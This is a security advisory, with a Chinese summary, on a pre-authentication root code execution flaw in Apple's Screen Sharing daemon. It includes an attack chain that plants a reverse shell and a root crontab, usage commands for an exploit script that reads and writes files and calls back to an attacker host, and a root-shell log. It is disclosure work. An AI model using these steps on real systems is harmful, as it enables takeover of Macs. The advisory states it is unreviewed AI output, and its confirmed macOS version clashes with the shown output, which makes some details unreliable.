Apple Screen Sharing Pre-Auth RCE
摘要
文章披露了 Apple Screen Sharing 守护进程 screensharingd 中的一个预认证远程代码执行漏洞。漏洞源于 SRP 帧长度校验逻辑错误:当帧长度字段的某个高位比特被置位时,错误路径返回了上一次读取操作的成功状态(零值),导致调用方误认为认证已完成,从而绕过整个 SRP 认证和加密会话,直接进入明文 RFB 消息循环。攻击者利用 Apple 专有的文件复制协议(消息类型 0x22)以 root 权限进行任意文件读写,通过单次连接注入反向 shell 和 root crontab,在 60 秒内实现无需任何交互的远程代码执行。文章详细分析了根因、攻击链、文件复制协议细节,并提供了完整 PoC。受影响版本为 macOS ≤ 26.5(Tahoe),已在 macOS 26.6 中修复。文章还指出另一个独立的 SRP 零密钥弱点(A mod N == 0 未检查)。
荐读理由
文章提供了可立即执行的缓解措施(升级到macOS 26.6或关闭屏幕共享),并揭示了默认配置下macOS系统的严重风险,能改变你对Apple设备安全性的判断;漏洞分析中的SRP校验缺陷和文件复制协议细节可作为安全审计的参考。
原文
Apple Screen Sharing Pre-Auth RCE
2026-08-01 · CRITICAL · affects macOS ≤ 26.5 (Tahoe) with Screen Sharing enabled
Summary
Apple's Screen Sharing daemon (screensharingd) contains a pre-authentication vulnerability in its SRP (Secure Remote Password) frame-length validation. When the daemon receives an SRP frame whose big-endian 32-bit length has any bit at position ≥ 15 set (i.e., length ≥ 32768), the "frame too large" error path returns the stale success status from the preceding 4-byte read instead of an error code. The caller interprets this zero return as "authentication complete" and enters the post-auth message loop without any key exchange, cipher negotiation, or session crypto.
The remaining bytes in the network buffer are then consumed as ordinary RFB messages — including Apple's proprietary file-copy protocol (message type 0x22), which runs as root and provides arbitrary file read and write. By injecting a reverse shell payload and a root crontab in a single pipelined connection, an unauthenticated attacker achieves remote code execution as root within 60 seconds.
No user interaction is required. The only prerequisite is that Screen Sharing is enabled on the target (System Settings → General → Sharing → Screen Sharing). No password, no valid username, and no knowledge of the target configuration is needed.
Affected
| Software | macOS Screen Sharing (screensharingd) |
|---|---|
| Vulnerable | macOS ≤ 26.5 (Tahoe) — all versions with SRP security type 36 |
| Fixed in | macOS 26.6 (2026-07-27) |
| Component | screensharingd SRP frame reader at offset +0xc90 in the auth handler |
| Protocol | Apple Screen Sharing (RFB 003.889), security type 36 |
| Auth required | None — pre-authentication |
| Result | Root file read/write → arbitrary code execution as root |
| Confirmed on | Mac mini M4 (Mac16,10), macOS 26.3 build 25D2128, arm64 |
Root Cause
The SRP auth handler in screensharingd reads a 4-byte big-endian frame length from the network buffer, then validates it:
NetBufferRead(buf, 4, &len)
rev w22, w8
lsr w8, w22, #0xf
cbz w8, parse_frame
mov x21, x0
b return
The mov x21, x0 on the "frame too large" path captures the return value of the 4-byte read (zero = success), not an error code. The function returns this zero to its caller, which interprets it as "SRP authentication complete":
bl srp_auth_handler
cbnz w0, continue_or_fail
strb w8(=1), [session, #0x93]
bl write_security_result
bl send_server_init
The entire SRP state machine — ccsrp_server_generate_public_key, ccsrp_server_compute_session, ccsrp_server_verify_session — is never reached. No key is derived, no proof is verified, no ChaCha20-Poly1305 session layer is installed. The connection proceeds in cleartext.
What the Attacker Gets
After the auth bypass, the remaining bytes in the network buffer are processed by the server's RFB message loop. Apple's file-copy protocol (message type 0x22, dispatched via jump table entry 34) provides:
Arbitrary file read as root —
StartFileSend(kind=1) returns the full contents of any file on the filesystemArbitrary file write as root —
StartFileReceive(kind=2) writes files with attacker-controlled content, path, filename, mode, and permissionsBoth primitives in a single connection — multiple file-copy transactions with different session IDs can be packed into one pipelined blob
Attack Chain
Auth bypass
Client sends RFB version + security type 36 + SRP step-1 (username "root") + a 24488-byte blob whose first 4 bytes are 0x00045FA6 (a be32 with bit 18 set). All pipelined in one TCP burst.
Server processes step-1 through real SRP (length 15 < 32768 ✓), writes the challenge, returns 0. Caller treats 0 as auth-complete.
File write #1: reverse shell
The blob contains a StartFileReceive (kind=2) transaction with session ID 2, writing a Perl reverse shell script to /var/tmp/.r (mode 755).
File write #2: crontab
A second StartFileReceive transaction (session ID 3) writes * * * * * /bin/bash /var/tmp/.r to /var/at/tabs/root (mode 600). Cron requires mode 600 — it silently ignores world-readable crontabs.
Cron fires → root reverse shell
Within 60 seconds, cron (enabled by default on macOS, PID always running) picks up the new crontab and executes the payload. /usr/bin/perl (signed by Apple, ships with base macOS — no Xcode required) connects back to the attacker with a shell as root. The payload self-deletes both files after execution.
Confirmed Output
Single-connection exploit against a Mac mini M4 running macOS 26.3, Screen Sharing enabled, no SSH, default configuration:
$ python3 exploit.py exec -u root 192.168.1.153 192.168.1.4 4444
______ ____
_____/ / __ \____ / __/___ ____
/ ___/ / / / / __ \ / /_/ __ \/ __ \
(__ ) / /_/ / /_/ / / __/ /_/ / /_/ /
/____/_/\____/ .___(_)_/ \____/\____/
/_/
🤡 navi_the_clown // pre-auth screensharing RCE
[+] authenticated — 3440x1440 "user's Mac mini"
[+] payload + crontab written in single connection
[*] listening on 192.168.1.4:4444, shell within 60s...
[+] shell from 192.168.1.153
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),...
bash-3.2# hostname
pwnm1.local
bash-3.2# sw_vers
ProductName: macOS
ProductVersion: 26.4.1
BuildVersion: 25E253
Why No Crypto
Apple's Screen Sharing protocol (RFB 003.889, security type 36) negotiates a ChaCha20-Poly1305 session layer with SALTED-SHA512-PBKDF2 key derivation, keyed from the SRP shared secret. The server advertises this in the SRP challenge:
mda=SHA-512,replay_detection,conf+int=ChaCha20-Poly1305,kdf=SALTED-SHA512-PBKDF2
Both screensharingd and the client framework (ScreenSharing.framework) implement this layer — the daemon imports _chacha20_poly1305_init_64x64 and installs send/receive crypto contexts at session offsets +0x178/+0x278 after ccsrp_server_verify_session succeeds.
None of this happens. The frame-length bypass returns before srp_server_mech_step is ever called — no SRP parameters are exchanged, no session key is derived, no cipher is installed. The entire connection operates in cleartext, and the server's file-copy handler (ServerProcessFileCopyCmd) runs with full root privileges with no authentication gate.
Also Present: SRP Zero-Key Weakness
Independent of the frame-length bypass, screensharingd contains a second weakness in its SRP validation. The server checks the client's public value A with:
ccz_cmpi(A, 0)
cmp w0, #0
b.le reject
This rejects A == 0 but does not reject A ≡ 0 (mod N). RFC 5054 §2.5.4 requires the server to abort if A mod N == 0, because such values force the shared secret S to zero regardless of the password. Sending A = N (the prime itself) would bypass password verification.
This bug is not used by our exploit — the frame-length bypass is simpler and more reliable. But it is a real, independently exploitable weakness in Apple's corecrypto-backed SRP implementation.
File-Copy Protocol Details
The Apple file-copy protocol uses message type 0x22 with uniform framing:
[u8 0x22][u8 sub][be32 L]
[be16 ver][be16 kind][be32 sid][be32 arg]
[L-12 bytes payload]
Read transaction (server → client)
| kind | name | payload |
|---|---|---|
| 100 | stat | file size (be32 at +8), block size, counts |
| 101 | attributes | mode, timestamps, filename |
| 102 | data | file content (max 65536 per message) |
| 104 | end | — |
Write transaction (client → server)
Same framing. The server's default handler (kind > 5) pipes messages to SSFileCopyReceiver, which creates files via FSCreateFileUnicode and writes data via FSWriteFork.
Critical fields in the NewItem (kind=101) message:
Byte 14 (
argfield, first byte):typeOfItem— must be0x01for a regular filePayload +42 (be32): file size — if zero, the receiver treats the file as empty and skips opening the fork, producing a 0-byte file
Payload +0x5a (be16): Unix file mode
Crontab files must be mode 0600 —
cronsilently ignores crontabs that are world-readable
Remediation
Update to macOS 26.6 or disable Screen Sharing (System Settings → General → Sharing → Screen Sharing → off).
The fix in macOS 26.6 adds proper error propagation on the frame-length validation path — the "too large" branch now returns a non-zero error code instead of the stale read status.
PoC
exploit.py — full exploit: file read, file write (with mode control), single-shot RCE via crontab + perl reverse shell. stdlib only, no dependencies. sha256: da19856499f1910e533fc99c4dffd3008a6f87633928c5fa009bde9effc92a20
Usage
python3 exploit.py read -u root TARGET /etc/passwd -o passwd.txt
echo "pwned" | python3 exploit.py write -u root TARGET /tmp/pwned -
python3 exploit.py write -u root TARGET /var/at/tabs/root crontab.txt -m 0600
python3 exploit.py exec -u root TARGET LHOST LPORT
The exec command writes both files in a single auth-bypassed connection (two file-copy transactions with different session IDs packed into one blob), starts a local listener, and drops into an interactive PTY shell when cron fires the payload (≤ 60 seconds).
The exploit is heap-layout dependent — the auth bypass triggers on roughly 1 in 5–15 attempts. The default retry count is 20.
Timeline
| 2026-07-31 | Binary (navi_the_clown) obtained and deobfuscated (garble -tiny -literals + controlflow) |
|---|---|
| 2026-07-31 | Wire format recovered byte-for-byte from packet captures |
| 2026-08-01 | Auth bypass root cause identified in screensharingd (frame-length validation) |
| 2026-08-01 | File read/write primitives confirmed against live target |
| 2026-08-01 | RCE achieved via crontab injection (root reverse shell, single connection) |
Disclaimer — This advisory, including all analysis, proof-of-concept code, and reproduction steps, was autonomously produced by AI coding agents (LLM-driven static analysis and automated testing). No human reviewed the output for correctness prior to publication. The findings may contain errors, false positives, or inaccurate severity assessments. All materials are provided as-is with absolutely no warranty. Use at your own risk and validate independently before acting on any claims made herein. Published for defensive research purposes only.
这条对你有帮助吗?